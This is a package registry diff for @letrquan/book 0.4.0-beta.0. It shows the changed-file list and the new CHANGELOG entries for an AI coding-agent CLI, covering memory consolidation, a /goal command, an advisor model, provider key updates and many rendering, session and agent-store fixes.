@letrquan/book 0.3.0 → 0.4.0-beta.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (148) hide show
  1. package/CHANGELOG.md +1024 -0
  2. package/README.md +6 -3
  3. package/dist/{additional-roots-H7UNAEHS.js → additional-roots-VAWRQ625.js} +8 -7
  4. package/dist/{app-GE4OHJOC.js → app-J7BVPSUH.js} +5397 -2953
  5. package/dist/app-J7BVPSUH.js.map +1 -0
  6. package/dist/chunk-32WBCUAN.js +660 -0
  7. package/dist/chunk-32WBCUAN.js.map +1 -0
  8. package/dist/{chunk-525CAZPY.js → chunk-4DKHLZRI.js} +6 -6
  9. package/dist/{chunk-4AS7LKKQ.js → chunk-62EEAUID.js} +2 -2
  10. package/dist/{chunk-AQEQX4FF.js → chunk-AHC7OU75.js} +385 -55
  11. package/dist/chunk-AHC7OU75.js.map +1 -0
  12. package/dist/{chunk-EFJ2NH6E.js → chunk-AJZWLKLQ.js} +63 -14
  13. package/dist/chunk-AJZWLKLQ.js.map +1 -0
  14. package/dist/chunk-B5FC3MYZ.js +395 -0
  15. package/dist/chunk-B5FC3MYZ.js.map +1 -0
  16. package/dist/{chunk-67UZEWWF.js → chunk-DNFQTSMJ.js} +53 -11
  17. package/dist/chunk-DNFQTSMJ.js.map +1 -0
  18. package/dist/{chunk-TLX3H2CL.js → chunk-E5WLQSKA.js} +231 -40
  19. package/dist/chunk-E5WLQSKA.js.map +1 -0
  20. package/dist/chunk-ECLC4CIJ.js +1181 -0
  21. package/dist/chunk-ECLC4CIJ.js.map +1 -0
  22. package/dist/chunk-EEX6QNXV.js +127 -0
  23. package/dist/chunk-EEX6QNXV.js.map +1 -0
  24. package/dist/chunk-EFXVSQ5J.js +931 -0
  25. package/dist/chunk-EFXVSQ5J.js.map +1 -0
  26. package/dist/{chunk-RFJ6Q6LE.js → chunk-ENLB7NYV.js} +577 -164
  27. package/dist/chunk-ENLB7NYV.js.map +1 -0
  28. package/dist/{chunk-IME7R2UI.js → chunk-FPR7SKIE.js} +1268 -883
  29. package/dist/chunk-FPR7SKIE.js.map +1 -0
  30. package/dist/{chunk-VPNLCMVR.js → chunk-HFB74CLM.js} +13 -5
  31. package/dist/chunk-HFB74CLM.js.map +1 -0
  32. package/dist/{chunk-5RDRAO4B.js → chunk-HOZXKOE3.js} +37 -1
  33. package/dist/chunk-HOZXKOE3.js.map +1 -0
  34. package/dist/chunk-IDYWN37T.js +36 -0
  35. package/dist/chunk-IDYWN37T.js.map +1 -0
  36. package/dist/{chunk-YC6W4EJH.js → chunk-JGF5HLSI.js} +193 -75
  37. package/dist/chunk-JGF5HLSI.js.map +1 -0
  38. package/dist/{chunk-5YHTKWJN.js → chunk-KDNWMKXV.js} +2447 -907
  39. package/dist/chunk-KDNWMKXV.js.map +1 -0
  40. package/dist/{chunk-Y2VHN7TC.js → chunk-MEOB2DZA.js} +11 -1
  41. package/dist/chunk-MEOB2DZA.js.map +1 -0
  42. package/dist/{chunk-KBQS35OV.js → chunk-MV5PQNIA.js} +2 -2
  43. package/dist/chunk-N2G4Q7ME.js +2672 -0
  44. package/dist/chunk-N2G4Q7ME.js.map +1 -0
  45. package/dist/{chunk-62QL5QUP.js → chunk-OJBMDM5H.js} +17 -1
  46. package/dist/chunk-OJBMDM5H.js.map +1 -0
  47. package/dist/{chunk-56SIEMDX.js → chunk-PTDC7ZUP.js} +2 -2
  48. package/dist/{chunk-X4NJT436.js → chunk-REASC2QG.js} +67 -28
  49. package/dist/chunk-REASC2QG.js.map +1 -0
  50. package/dist/chunk-SBTU5BEC.js +114 -0
  51. package/dist/chunk-SBTU5BEC.js.map +1 -0
  52. package/dist/{chunk-HQI7NYGX.js → chunk-SWPDKLNM.js} +2 -2
  53. package/dist/{chunk-W3XFHEF4.js → chunk-UCFJ43OS.js} +140 -28
  54. package/dist/chunk-UCFJ43OS.js.map +1 -0
  55. package/dist/{chunk-QYBD22H5.js → chunk-W7SLYS3M.js} +80 -16
  56. package/dist/chunk-W7SLYS3M.js.map +1 -0
  57. package/dist/{chunk-SOW4WRQP.js → chunk-WV3O5PGX.js} +3 -3
  58. package/dist/{chunk-JTPOI3KU.js → chunk-XJRJVXJR.js} +262 -38
  59. package/dist/chunk-XJRJVXJR.js.map +1 -0
  60. package/dist/{chunk-224FJZLH.js → chunk-YIL6HTJX.js} +228 -5
  61. package/dist/chunk-YIL6HTJX.js.map +1 -0
  62. package/dist/{command-approvals-VBIU6BLM.js → command-approvals-ZRY66LCW.js} +5 -4
  63. package/dist/context-C3RAP6K5.js +41 -0
  64. package/dist/{hook-approvals-ZVT4V7IM.js → hook-approvals-DPQD5H65.js} +5 -4
  65. package/dist/index.js +657 -754
  66. package/dist/index.js.map +1 -1
  67. package/dist/{interactive-assets-T4I4SEHU.js → interactive-assets-73AQO5WP.js} +11 -6
  68. package/dist/{interactive-assets-T4I4SEHU.js.map → interactive-assets-73AQO5WP.js.map} +1 -1
  69. package/dist/job-runner.js +10 -3
  70. package/dist/job-runner.js.map +1 -1
  71. package/dist/job-supervisor.js +13 -4
  72. package/dist/job-supervisor.js.map +1 -1
  73. package/dist/loader-DQNPDKOX.js +27 -0
  74. package/dist/{mcp-approvals-HJ2VDYMC.js → mcp-approvals-27LJYADQ.js} +5 -4
  75. package/dist/{mcp-config-RNB5LEVE.js → mcp-config-GXSODNCM.js} +3 -2
  76. package/dist/memory-store-I6Z54VUN.js +51 -0
  77. package/dist/{model-window-store-MTSQ5JDJ.js → model-window-store-6VKXXTPJ.js} +4 -3
  78. package/dist/{openai-compatible-2OB54YST.js → openai-compatible-IPUNBJ53.js} +5 -3
  79. package/dist/{permission-approvals-YLV6UC5W.js → permission-approvals-Q5IMFEZI.js} +5 -4
  80. package/dist/{permissions-DHOKF3W2.js → permissions-7Y35X6HZ.js} +26 -9
  81. package/dist/provider-approvals-5AGH3RVT.js +76 -0
  82. package/dist/{sandbox-WRYTZH3D.js → sandbox-N2RY72GN.js} +6 -5
  83. package/dist/{scrollback-35ME2GFX.js → scrollback-GD76GNM4.js} +36 -28
  84. package/dist/scrollback-GD76GNM4.js.map +1 -0
  85. package/dist/sdk.d.ts +876 -64
  86. package/dist/sdk.js +57 -37
  87. package/dist/sdk.js.map +1 -1
  88. package/dist/settings-loader-KDBH45AQ.js +43 -0
  89. package/dist/{settings-removed-JWWPT4WA.js → settings-removed-3ATWJEF3.js} +2 -2
  90. package/dist/shell-selection-Z5WORZU4.js +31 -0
  91. package/dist/shell-selection-Z5WORZU4.js.map +1 -0
  92. package/package.json +5 -5
  93. package/dist/app-GE4OHJOC.js.map +0 -1
  94. package/dist/chunk-224FJZLH.js.map +0 -1
  95. package/dist/chunk-5RDRAO4B.js.map +0 -1
  96. package/dist/chunk-5YHTKWJN.js.map +0 -1
  97. package/dist/chunk-62QL5QUP.js.map +0 -1
  98. package/dist/chunk-67UZEWWF.js.map +0 -1
  99. package/dist/chunk-6OQQOMZR.js +0 -785
  100. package/dist/chunk-6OQQOMZR.js.map +0 -1
  101. package/dist/chunk-AQEQX4FF.js.map +0 -1
  102. package/dist/chunk-C7ADUNPR.js +0 -273
  103. package/dist/chunk-C7ADUNPR.js.map +0 -1
  104. package/dist/chunk-EFJ2NH6E.js.map +0 -1
  105. package/dist/chunk-IME7R2UI.js.map +0 -1
  106. package/dist/chunk-J62VZYOB.js +0 -1339
  107. package/dist/chunk-J62VZYOB.js.map +0 -1
  108. package/dist/chunk-JTPOI3KU.js.map +0 -1
  109. package/dist/chunk-QYBD22H5.js.map +0 -1
  110. package/dist/chunk-RFJ6Q6LE.js.map +0 -1
  111. package/dist/chunk-S4JMID4G.js +0 -259
  112. package/dist/chunk-S4JMID4G.js.map +0 -1
  113. package/dist/chunk-TLX3H2CL.js.map +0 -1
  114. package/dist/chunk-VPNLCMVR.js.map +0 -1
  115. package/dist/chunk-W3XFHEF4.js.map +0 -1
  116. package/dist/chunk-X4NJT436.js.map +0 -1
  117. package/dist/chunk-X66I2NQO.js +0 -137
  118. package/dist/chunk-X66I2NQO.js.map +0 -1
  119. package/dist/chunk-Y2VHN7TC.js.map +0 -1
  120. package/dist/chunk-YC6W4EJH.js.map +0 -1
  121. package/dist/context-CBOBDY5Q.js +0 -38
  122. package/dist/loader-S77OVTHH.js +0 -18
  123. package/dist/memory-store-DZUT5HUH.js +0 -75
  124. package/dist/scrollback-35ME2GFX.js.map +0 -1
  125. package/dist/settings-loader-JUNPGAAM.js +0 -35
  126. package/dist/shell-selection-CDHGJ4GC.js +0 -17
  127. /package/dist/{additional-roots-H7UNAEHS.js.map → additional-roots-VAWRQ625.js.map} +0 -0
  128. /package/dist/{chunk-525CAZPY.js.map → chunk-4DKHLZRI.js.map} +0 -0
  129. /package/dist/{chunk-4AS7LKKQ.js.map → chunk-62EEAUID.js.map} +0 -0
  130. /package/dist/{chunk-KBQS35OV.js.map → chunk-MV5PQNIA.js.map} +0 -0
  131. /package/dist/{chunk-56SIEMDX.js.map → chunk-PTDC7ZUP.js.map} +0 -0
  132. /package/dist/{chunk-HQI7NYGX.js.map → chunk-SWPDKLNM.js.map} +0 -0
  133. /package/dist/{chunk-SOW4WRQP.js.map → chunk-WV3O5PGX.js.map} +0 -0
  134. /package/dist/{command-approvals-VBIU6BLM.js.map → command-approvals-ZRY66LCW.js.map} +0 -0
  135. /package/dist/{context-CBOBDY5Q.js.map → context-C3RAP6K5.js.map} +0 -0
  136. /package/dist/{hook-approvals-ZVT4V7IM.js.map → hook-approvals-DPQD5H65.js.map} +0 -0
  137. /package/dist/{loader-S77OVTHH.js.map → loader-DQNPDKOX.js.map} +0 -0
  138. /package/dist/{mcp-approvals-HJ2VDYMC.js.map → mcp-approvals-27LJYADQ.js.map} +0 -0
  139. /package/dist/{mcp-config-RNB5LEVE.js.map → mcp-config-GXSODNCM.js.map} +0 -0
  140. /package/dist/{memory-store-DZUT5HUH.js.map → memory-store-I6Z54VUN.js.map} +0 -0
  141. /package/dist/{model-window-store-MTSQ5JDJ.js.map → model-window-store-6VKXXTPJ.js.map} +0 -0
  142. /package/dist/{openai-compatible-2OB54YST.js.map → openai-compatible-IPUNBJ53.js.map} +0 -0
  143. /package/dist/{permission-approvals-YLV6UC5W.js.map → permission-approvals-Q5IMFEZI.js.map} +0 -0
  144. /package/dist/{permissions-DHOKF3W2.js.map → permissions-7Y35X6HZ.js.map} +0 -0
  145. /package/dist/{sandbox-WRYTZH3D.js.map → provider-approvals-5AGH3RVT.js.map} +0 -0
  146. /package/dist/{settings-loader-JUNPGAAM.js.map → sandbox-N2RY72GN.js.map} +0 -0
  147. /package/dist/{settings-removed-JWWPT4WA.js.map → settings-loader-KDBH45AQ.js.map} +0 -0
  148. /package/dist/{shell-selection-CDHGJ4GC.js.map → settings-removed-3ATWJEF3.js.map} +0 -0
package/CHANGELOG.md CHANGED
@@ -4,6 +4,1030 @@ All notable changes to this project are documented in this file.
4
4
 
5
5
  ## [Unreleased]
6
6
 
7
+ ## [0.4.0-beta.0] - 2026-10-22
8
+
9
+ ### Added
10
+
11
+ - **`/memory consolidate [focus]`: tidy the memory store** (PR 3 of the Claude Code memory parity
12
+ plan). Memory is the model's own to write, so it drifts: near-duplicates, facts the code has
13
+ outgrown, lines in `MEMORY.md` that point at nothing, "yesterday" with no date. The command runs
14
+ one agent pass in the current session, so its edits show as ordinary tool rows. It merges
15
+ duplicates (deleting the extras with `rm`), rewrites or deletes contradicted memories, makes
16
+ relative dates absolute, checks that the files, functions, flags and commands a memory names still
17
+ exist, and prunes `MEMORY.md` to one pointer line per file within 200 lines and 25,000 bytes. It
18
+ reconciles feedback and project memories with `CLAUDE.md` / `AGENTS.md`, which win; a memory that
19
+ is clearly newer is annotated `Contradicts CLAUDE.md — verify which is current.` and reported,
20
+ never used to edit them. The pass is refused, with no prompt sent, when memory is disabled or not
21
+ writable in the session, in plan mode, or with no memory files. It runs with `Read`/`Glob`/`Grep`,
22
+ `Write`/`Edit`/`MultiEdit` of `*.md` files in the memory directory and `rm` of them, and nothing
23
+ else (no `ApplyPatch`, MCP or other `Bash`); the memory write guard still applies. It also runs
24
+ headlessly (`book -p "/memory consolidate"`); the other `/memory` forms stay refused in print
25
+ mode. An automatic trigger is not part of this change.
26
+ - **A plain `rm` of memory files needs no prompt.** One `Bash` command that is `rm` and nothing
27
+ else, whose every operand is an absolute `*.md` path under the memory directory (not `MEMORY.md`),
28
+ is allowed after your `deny`, `ask` and `allow` rules, as a memory write is. Flags, `--`, globs,
29
+ quotes, variables, `.`/`..` segments, chaining, redirects, substitution and paths through a
30
+ symlinked subdirectory all keep the ordinary prompt, as does every `rm` in a session another
31
+ agent drives.
32
+
33
+ - **Compact mode hides a tool step's thought, and read-only git through `Bash` folds** (#470). An
34
+ assistant step that calls a tool no longer draws its `▸ thought · N lines` row in the compact
35
+ transcript, whether the row is quiet or not (Ctrl+O shows it, and so does screen-reader mode); a
36
+ final answer, a turn that only updates the task list or hands the turn back (`TodoWrite`,
37
+ `AskUserQuestion`), a step whose call waits for your approval, and a thought still streaming keep
38
+ theirs. `git status`, `log`, `diff`, `show`,
39
+ `grep`, `ls-files` and listing-only `git branch`, with only `-C <dir>`, `--no-pager`, `-P` and
40
+ `--no-optional-locks` before the subcommand, now fold into quiet runs like Book's own Git tools
41
+ (`-c`, `--output`, `grep -O`, a `--format` that asks for a signature, aliases and every path
42
+ outside the workspace keep their row).
43
+ - **The compact transcript folds read-only shell commands into the quiet-run summary** (#459). A
44
+ model that explores through the shell (`cat src/a.js`, `rg TODO src`, `ls src`) no longer draws a
45
+ row per command: a conservative parser, modelled on OpenAI Codex's `parse_command.rs`, folds a
46
+ `Bash` call like a read when it can prove the whole command read-only (no redirection, expansion,
47
+ background job, wrapper, pager, follow mode or mutating flag) and it succeeded (a search that found nothing and exited 1 counts), ran in the
48
+ foreground (not moved to a background shell at its timeout) and stays inside the workspace. Any
49
+ option that names a file counts as a path, and a glob that could expand to `..` keeps the row.
50
+ `ack` does not fold, because it reads a project-level `.ackrc`. The summary counts shell reads with `Read`'s files, shell searches
51
+ with the searches, and listings as `N listings`. Anything else keeps its own row.
52
+ - **Memory is keyed by the git repository root, and a cut `MEMORY.md` says so.** Linked worktrees
53
+ and subdirectories of one repository now share one memory (before, each path got its own, so a
54
+ fact taught in the main checkout was missing in a worktree). The root is found by reading `.git`
55
+ (no `git` process); outside a repository the key is the workspace itself, and a dotfiles `.git`
56
+ in your home directory is no repository for a project under it without its own `.git` (#567;
57
+ memory saved under the home key before stays there, unmigrated). A directory under the
58
+ old workspace-path key is moved on first run, or merged into the new one with `-2`, `-3`
59
+ suffixes on a name collision. `MEMORY.md` now loads its first 200 lines and 25,000 bytes, and a
60
+ `> WARNING:` line at the end of the loaded index names how much was cut off and where. The
61
+ `/memory status` report and `book doctor` count bytes as well as lines.
62
+ - **`/goal <condition>`: keep working until a condition holds**, modelled on Claude Code's command.
63
+ Each time the agent stops without calling a tool, the compact model reads the transcript and
64
+ judges the condition with Claude Code's evaluator prompt. An unmet verdict returns its reason to
65
+ the agent as a host-authored turn and the run continues. A met goal clears itself
66
+ (`● Goal achieved (…)`); one judged impossible clears with `Goal could not be achieved: …` and
67
+ ends the run `failed / goal_unmet`, as does a goal still unmet after eight rounds of feedback (the
68
+ ninth unmet check, as in Claude Code), which stays set for the next message. A check that cannot
69
+ run fails open: the run ends, the goal stays, and the outcome is `failed / goal_unverified`. The
70
+ last turn `--max-turns` allows is checked too, and an unmet goal there ends `failed / max_turns`.
71
+ Plan stops, handoffs, cancels and the continuation brakes are never overridden by a goal. Goals
72
+ persist in the session file (a new `goal` record) and survive `--resume`; print mode supports
73
+ `/goal` and reports each check on stderr (under `--quiet`, only the line that explains a failure)
74
+ or as `goal_status` stream-json events. While a goal is set, the status line shows
75
+ `◎ /goal active (<elapsed>)`, counting from when it was set, until the goal is met, judged
76
+ impossible, or cleared.
77
+ - **`/advisor <model>`: let the agent consult a stronger model**, modelled on Claude Code's
78
+ advisor. A configured `advisorModel` (or `BOOK_ADVISOR_MODEL`) adds an `Advisor` tool to the
79
+ core set; calling it sends the agent's system prompt and the whole conversation to the advisor
80
+ model through its own provider and returns the advice. It runs client-side, so it works on every
81
+ provider, and it is billed at the advisor model's rates. `/advisor` with no argument opens the
82
+ model picker, aimed at the advisor, with an **Off** row after the models, and `/config` has an
83
+ **Advisor** row (`V`), so the advisor is chosen from a list instead of typed from memory (a
84
+ mistyped `/advisor claude` was saved and matched no model). The picker flags a saved advisor
85
+ that is not in the list and a `BOOK_ADVISOR_MODEL` that outranks the choice. An id the advisor
86
+ would refuse (#419) is refused by both `/advisor <id>` and the picker, and any other id that
87
+ names no listed model is saved with a note. Every model picker
88
+ (`/model` too) now opens with the cursor on the current choice, which a long list used to scroll
89
+ out of view, and `Alt+S session` is offered only where it applies (the main model).
90
+ - **`book trust provider [id]`** approves or rejects a provider a repository declares (#418), with
91
+ `-w`/`--workspace`, `--all-pending` and `--reject`; with no id it lists what awaits a decision.
92
+ - **Update a provider's API key without re-adding it** (#592). In `/model` and `/providers`,
93
+ `Alt+K` on a model of a provider from your user file opens a masked "Update API key" sheet.
94
+ - It tests the new key against that provider's own endpoint with one model-list call, and saves
95
+ on success.
96
+ - On failure, `s` saves anyway, `r` retries and `Esc` goes back to the key.
97
+ - `book config provider-key <id>` does the same from the shell. It reads the key from stdin
98
+ (hidden on a terminal, piped otherwise) and refuses a key given as an argument. `--force` saves
99
+ despite a failed test, and `--no-check` skips the test. Like the other `config` subcommands, it
100
+ needs no working credentials.
101
+ - Only `apiKey` changes: the model catalog, the active model and per-model overrides stay. A
102
+ same-named entry in `.book/settings.local.json` loses its connection keys, so it can't shadow
103
+ the update. A provider only a repository declares is refused.
104
+ - The running session sends the new key from its next request.
105
+
106
+ ### Fixed
107
+
108
+ - **Symbols such as `⎿`, `⏺` and `⌘` are measured one column wide.** Book's `displayWidth` counted
109
+ the whole Miscellaneous Technical block (U+2300–U+23FF) as two columns, while Ink and the
110
+ terminal draw them in one, so a row that used one wrapped or padded a column early. Only its
111
+ emoji-presentation characters (`⌚`, `⏳`, `⏰`) and the East Asian Wide angle brackets (`〈`,
112
+ `〉`) are wide now.
113
+ - **Resizing the terminal during a turn no longer leaves a second working indicator, input bar and
114
+ footer on screen** (#525, #538, #537, #547, #565). On a narrowing resize Ink drew at once with the old
115
+ layout, and a row wider than the new width autowrapped and threw off its line count, so the next
116
+ frame left a second working indicator, extra rules, input bar and footer behind. Every Ink frame
117
+ row is now clipped to the terminal width, with tabs expanded. After a resize the new size is
118
+ committed before Ink draws, so the first frame and the forced redraw already use it. Tabs in tool
119
+ output are expanded to 8-column stops, so a tab-separated row is measured at its real width, and
120
+ so are tabs in a code block of an agent message before the block is wrapped, so a tab-indented
121
+ line near the edge wraps inside the block instead of losing its end. Tabs in an agent message's
122
+ paragraphs, list items, table cells and inline code are expanded the same way before wrapping,
123
+ with stops counted from the start of the text, so a tab-separated line keeps its last words.
124
+ `BOOK_INK_FRAME_CLIP=off`
125
+ turns the row clip off. Ctrl+L redraws once per press.
126
+ - **The agent store opens off the event loop, an apply that outlives its session's manager is
127
+ still recorded, and earlier agents stay usable after `/clear`** (#516, #518, #527, #540, #544,
128
+ #554, #568). Opening the managed-agent store stalled the first 190 to 670 ms after the first frame, and
129
+ text typed then and submitted with Enter became a paste. The store now opens off the event loop,
130
+ so there is no stall and that Enter submits. An apply that finishes after `/clear`, `/resume` or
131
+ `/rewind` is recorded by the session's current manager, so the same apply is not offered again,
132
+ even when the old manager could not delete its lease file; when no manager is current, it still
133
+ never overwrites a newer record. After `/clear`, `/resume` or `/rewind` the earlier agents of the
134
+ same Book process can be sent to, applied, dismissed and recovered again; they had read as owned
135
+ by another live Book process until Book exited. `AgentStop` leaves an apply that you started
136
+ running, and its result says so. The agent detail view shows whether its current candidate was
137
+ applied (`applied`, `not applied` or `apply failed`), and a re-run that ends on a new candidate
138
+ commit resets it to not applied. `/agent <id>` for another session's agent says
139
+ `✕ Agent <id> belongs to another session.` instead of staying on `Loading subagent…`;
140
+ `/agent send` to such an agent still sends and says its view is not shown. A manager the session
141
+ disposed no longer reads as a live owner while a lease file it could not delete still looks
142
+ fresh (up to 15 s): the session remembers the instances it disposed, and a lease that cannot be
143
+ deleted is overwritten with a dead one where possible.
144
+ - **Expanding a tool row shows its long output lines whole** (#550). A line wider than the output
145
+ block was shortened with `…` and the footer offered Ctrl+E, but the expanded row cut it the same
146
+ way, so the end of a long path, JSON blob or table row never showed. An expanded row (Ctrl+E, or
147
+ Ctrl+O then Ctrl+E) now wraps each long line onto the rows below; a collapsed row still shortens
148
+ it, and Ctrl+E also picks a row whose only loss is a shortened line.
149
+ - A wrapped highlighted line keeps its token colours across the break (#578).
150
+ - A Markdown paragraph or list item drawn without a width expands tabs.
151
+ - A line the row bound cuts into counts as `1 long line shortened`, not as a hidden line.
152
+ - **Windows: Book's directory walks and file loads don't follow a link to a network (UNC) path**
153
+ (#579). This covers:
154
+ - the `@` file picker, skill and subagent loading, Glob, Grep (both backends, and its `path`)
155
+ and `.gitignore` loading;
156
+ - a project `.mcp.json` or `.bookrc.json`, rewind snapshots, context refresh and memory keying.
157
+
158
+ Directories you configure on a share (`additionalDirectories`, the memory directory) are still
159
+ searched. On Windows, ripgrep takes its ignore rules from the root `.gitignore` alone. The UNC
160
+ check probes each path once per call.
161
+
162
+ - **Book's own workspace writes only touch regular files.** Book leaves the workspace files it
163
+ manages unchanged when they aren't regular files, and the write stops with a notice. That covers
164
+ `.book/settings.json`, `.book/settings.local.json`, `.book/migrations.json`, a project
165
+ `.mcp.json`, `/export` output and `.book/debug.log`. `/export` writes only inside the workspace.
166
+ - **A dotfiles `.git` in your home directory is no longer the repository of every project under
167
+ it** (#567). For a project under your home directory without its own `.git`, Book took the home
168
+ directory as the project's repository: project skills were looked for in every directory from
169
+ home down, the prompt's git line showed the dotfiles branch, and managed agents snapshotted the
170
+ whole home directory, untracked files included.
171
+ - **What sees no repository:** memory, project skill discovery, the prompt's git line,
172
+ managed-agent isolation, the TUI status bar, `/review` and the Git tools (GitStatus, GitDiff,
173
+ GitLog, GitBranch and GitCommit) all treat such a project as in no repository (#579). Book's own
174
+ git calls carry a `GIT_CEILING_DIRECTORIES` entry for the home directory. Patcher and validator
175
+ agents refuse there, and their refusal now names the ignored dotfiles repository.
176
+ - **Workspace at home:** a workspace that is the home directory itself still sees its repository
177
+ in all of these, and isolation snapshots then leave out Book's own home directory
178
+ (`BOOK_HOME`).
179
+ - **Old agent state:** managed-agent state an older Book kept under the home key is not used. It
180
+ is reported once, with a cleanup command.
181
+ - **Unchanged:** your own `Bash`, and a project with its own `.git`.
182
+ - **A spent-limit or rate-limit message states the reset time once, and a WebFetch same-origin
183
+ redirect refusal names the URL the model asked for** (#513, #246). A provider message that gave
184
+ its own reset time had it repeated by Book's text, including when the wait was too long to retry;
185
+ it is now stated once, and a rate-limit reset adds Book's own advice. The refusal for a redirect
186
+ to a blocked path on the same origin named the redirect target; it now names the URL the model
187
+ asked for.
188
+ - **A provider save keeps per-model overrides, `CLAUDE.local.md` always loads last, and `/init`,
189
+ commands and skills name the session after what was typed** (#514, #524). Saving a provider from
190
+ `/model` (Alt+R included) now keeps per-model overrides such as a hand-set `contextWindow` in
191
+ `.book/settings.local.json`; it clears only `baseURL` (and `baseUrl`), `apiKey`, `type` and a
192
+ stale `reportedContextWindow`. `CLAUDE.local.md` loads last and as local even when a project file
193
+ links to it. `/init`, a custom command or a skill names the session after what you typed (`Init`,
194
+ `Deploy staging`) rather than the text it generates, and the plan handoff keeps the planning
195
+ session's name.
196
+ - **A router's one-line "[Error] The model failed to generate a response." is re-issued, not
197
+ counted as an answer** (#404). A router sends that sentence as the whole reply when its upstream
198
+ fails, and Book's check for an upstream error envelope, which leans on the token usage reported
199
+ beside it, did not recognise it: the run ended `completed / normal_completion` on a reply with no
200
+ work in it. The router's exact sentence is now taken for an envelope whatever the usage says, and
201
+ the turn is re-issued once. If it comes back, the run ends `failed / provider_error` with provider
202
+ code `error_envelope`. A model's own one-line `[Error]` answer in other words is still an answer.
203
+ - **A tool call whose arguments arrive empty is a retryable route fault, not the model's** (#403).
204
+ Some routes stream a tool call with an empty argument string. Book read it as `{}` and rejected it
205
+ as `invalid_arguments`, which was not retryable, told the model "Do not retry it unchanged" from
206
+ the second try, and ended on `all_tools_blocked` blaming the model. A call whose arguments, joined
207
+ across every fragment, are empty or whitespace is now marked as arriving empty on the wire. For a
208
+ tool with required properties the registry rejects it as `invalid_json_arguments` with shape
209
+ `empty`: retryable, blamed on the route, exempt from "Do not retry it unchanged", and counted by
210
+ `book tool-stats`. A literal `{}` is not marked, and a tool with no required arguments still runs
211
+ with `{}`. When `all_tools_blocked` ends a streak in which every call arrived empty, the stop now
212
+ names the provider route and says the model is not at fault; a streak that also holds a malformed
213
+ call keeps the old text.
214
+ - **An HTTP error whose body never arrived no longer reads "(empty response body)"** (#449). A read
215
+ that timed out, failed or was aborted before a single byte arrived was reported with the same
216
+ words as a response that really was empty, so a stalled router and an empty 404 looked alike. The
217
+ first now says "no response body received", also after the retries are exhausted; a null or
218
+ completed-empty body still reads "(empty response body)", and partial text is kept. A body that
219
+ says nothing useful (Go's `404 page not found`, `{}` or `[]`, an HTML page) keeps its text and
220
+ gains "The reply came from <host> for model <model>.", with an HTML page shown as its title. Only
221
+ the host is named, never userinfo, path or query.
222
+ - **Tool call ids stay unique across a conversation** (#410). A provider can return an id it used in
223
+ an earlier turn: 9router's `ag/` route mints `call_` plus seven digits, and one session collided
224
+ at its 140th call. Book saved both calls, so every later request, and every `--resume`, carried
225
+ two calls with one id, which Gemini refuses with `400 INVALID_ARGUMENT` for good. A streamed call
226
+ whose id is already in the conversation is now renamed before it is announced, run or saved:
227
+ `call_1` becomes `call_1_2`, the smallest suffix not in use, and its result and any Anthropic
228
+ `tool_use` block carry the new id. A session that already holds a repeat resumes instead of
229
+ failing: when its messages are built the first use keeps its id and each later one is renamed the
230
+ same way every time, so earlier turns render byte for byte and the prompt cache holds. The session
231
+ file is not rewritten. A batch that repeats an id within one response is still rejected, and its
232
+ rejected message no longer keeps the Anthropic `tool_use` blocks that every later request would
233
+ have replayed.
234
+ - **A disposed manager keeps the record it wrote, and a contended state write is retried once**
235
+ (#490, #493). When the session closed while a child agent was running, the child's run could still
236
+ overwrite the `interrupted / process_exit` record that `dispose()` had written with `stopped`,
237
+ `failed` or `completed`. A disposed manager's run now returns straight after its loop, the
238
+ record-changing callbacks go quiet, and the store refuses a save after dispose (its own final
239
+ flush still goes through); the transcript the loop added after its last save is dropped, as a
240
+ process exit would drop it. Separately, an atomic state-file write whose lock and fsyncs had used
241
+ up its 500 ms deadline returned `busy` on the first contended rename without trying again. That
242
+ first contended rename now always gets a back-off and one more attempt, which still honours
243
+ cancellation and a disposed store. A second contention follows the normal deadline rule and
244
+ returns `busy`.
245
+ - **Cancelling, stopping or closing a session now stops an apply that is already running** (#491).
246
+ An apply's signing read, and the operator's `gpg.ssh.defaultKeyCommand` inside it, took no signal,
247
+ so a `/review --fix` cancel, `AgentStop` or `dispose()` left that command running for up to its
248
+ 30 s bound. The signal now reaches the candidate lookup, the git version and signing-config reads
249
+ and the key command, which is killed at once. `dispose()` stops only those reads: a cherry-pick
250
+ already running when the session closes finishes, as it did before, rather than being killed with
251
+ no rollback. A stop during the pre-check, the cherry-pick or the dirty-path `git apply` used to be
252
+ reported as a conflict; it now ends with an error that names the stop and what it left, whether
253
+ the rollback ran and any unmerged paths, and `/review --fix` counts that pass as cancelled
254
+ ("Stopped while applying …"), not as a failed fix. `AgentStop` waits for the apply it stopped,
255
+ rollback included, and a patcher that had completed stays `completed`. `AgentStop` stops only an
256
+ apply the model started (`AgentApply`); an apply you started keeps running (#527).
257
+ - **Print mode and the SDK keep a session's name across managed-agent completions, and `/review`
258
+ agents are recorded under the host session** (#446, #448). A managed agent's completion notice
259
+ (and a background shell's, in the TUI) is a host-written turn, yet it named a session that had no
260
+ name yet, as `Atlas completed: Found the missing de…`, in place of the prompt you typed. A
261
+ notification turn now never derives or changes a name, in print mode, the SDK, the session index
262
+ and the loader alike. In print mode and the SDK the `/review` reviewers, and the `--fix` patcher
263
+ and validator, recorded `sessionId: "agent:<id>"` in tool telemetry, so five reviewers counted as
264
+ five sessions in `book tool-stats`; they now carry the host's session id. That also puts the
265
+ host's `parent_session_id` in their SubagentStart and SubagentStop hook payloads, and a print-mode
266
+ session resumed in the TUI lists its review agents in the agent panel, as TUI `/review` agents
267
+ already do.
268
+ - **An empty session is removed when Book exits before the first prompt** (#444, #507). Opening Book
269
+ and quitting left a session file and an index entry behind (#428 only hid them), and so did `/new`
270
+ or `/clear` followed by quitting. At exit Book now removes the session this launch created, and
271
+ each one `/new` or `/clear` created, if it is still untouched: its file holds at most the bare
272
+ header and has no name. A turn, a patch, a usage record, or a line a SessionEnd hook wrote keeps
273
+ it, and a resumed, continued or `/resume`d session is never removed. This covers the TUI, print
274
+ mode and the SDK. A launch with `--name` that sends no prompt is kept, since you typed the name
275
+ and `--resume <name>` finds it. Windows may briefly hold the file open, which leaves it in place.
276
+ - **Two Ctrl+C presses read together count as two presses, so quitting right after launch works**
277
+ (#504). Ink hands bytes read in one stdin chunk on as a single event, and Book did not recognise
278
+ `\x03\x03` as Ctrl+C. Right after the first frame Book stalls for 200 to 700 ms while the agent
279
+ store opens, so a quit's two presses were read as one chunk and ignored: about two in ten driver
280
+ runs that quit at once did not exit. Every Ctrl+C is now split out of a chunk before any key
281
+ handler sees it, one piece per tick, so two presses over a draft clear it and then arm the exit
282
